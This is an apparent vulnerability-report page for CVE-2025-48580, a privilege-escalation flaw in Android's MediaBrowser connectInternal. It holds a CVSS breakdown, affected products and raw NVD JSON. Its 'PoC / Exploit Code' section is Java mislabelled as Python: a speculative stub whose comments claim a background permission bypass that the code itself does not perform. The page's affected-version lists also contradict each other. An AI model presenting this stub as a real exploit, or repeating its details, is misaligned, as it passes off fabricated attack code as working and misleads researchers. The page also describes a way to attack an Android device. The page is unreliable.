Security Vulnerability Report
中文
CVE-2025-48580 CVSS 7.8 HIGH

CVE-2025-48580

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-10 19:41:18

Description

In connectInternal of MediaBrowser.java, there is a possible way to access while in use permission while the app is in background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android 10 (API level 29)
Android 11 (API level 30)
Android 12 (API level 31)
Android 12L (API level 32)
Android 13 (API level 33)
Android 14 (API level 34)
Android 15 (API level 35)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48580 PoC - Android MediaBrowser权限提升漏洞演示 // 此PoC展示如何在后台状态下访问受保护的MediaBrowser服务 import android.content.ComponentName; import android.content.Context; import android.media.browse.MediaBrowser; import android.os.Bundle; public class MediaBrowserExploit { private MediaBrowser mMediaBrowser; private Context mContext; // Vulnerable code path in MediaBrowser.java connectInternal() // The issue: Background apps can bypass 'while in use' permission check private void exploitVulnerability() { // Initialize MediaBrowser connection mMediaBrowser = new MediaBrowser( mContext, new ComponentName("com.android.media", "MediaBrowserService"), mConnectionCallback, null // Bundle passed as null ); // Connect while app is in background state // Due to logic error in connectInternal(), this bypasses permission check mMediaBrowser.connect(); // After successful connection, access protected media content // This should normally require foreground app state } private MediaBrowser.ConnectionCallback mConnectionCallback = new MediaBrowser.ConnectionCallback() { @Override public void onConnected() { // Successfully connected despite being in background // Access media items that require 'while in use' permission MediaBrowser.MediaItem mediaItem = mMediaBrowser.getMediaItem("protected-content-id"); // Read sensitive media metadata or control media playback } @Override public void onConnectionFailed() { // Handle connection failure } }; } // Technical details from Android source code commit: // https://android.googlesource.com/platform/frameworks/base/+/eb19b27ed8abe9070df9fb85bc9693c8d4ba321b // The fix likely involves adding proper foreground/background state verification // before granting 'while in use' permission access in MediaBrowser

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48580", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.487", "lastModified": "2025-12-10T19:41:17.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In connectInternal of MediaBrowser.java, there is a possible way to access while in use permission while the app is in background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/eb19b27ed8abe9070df9fb85bc9693c8d4ba321b", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}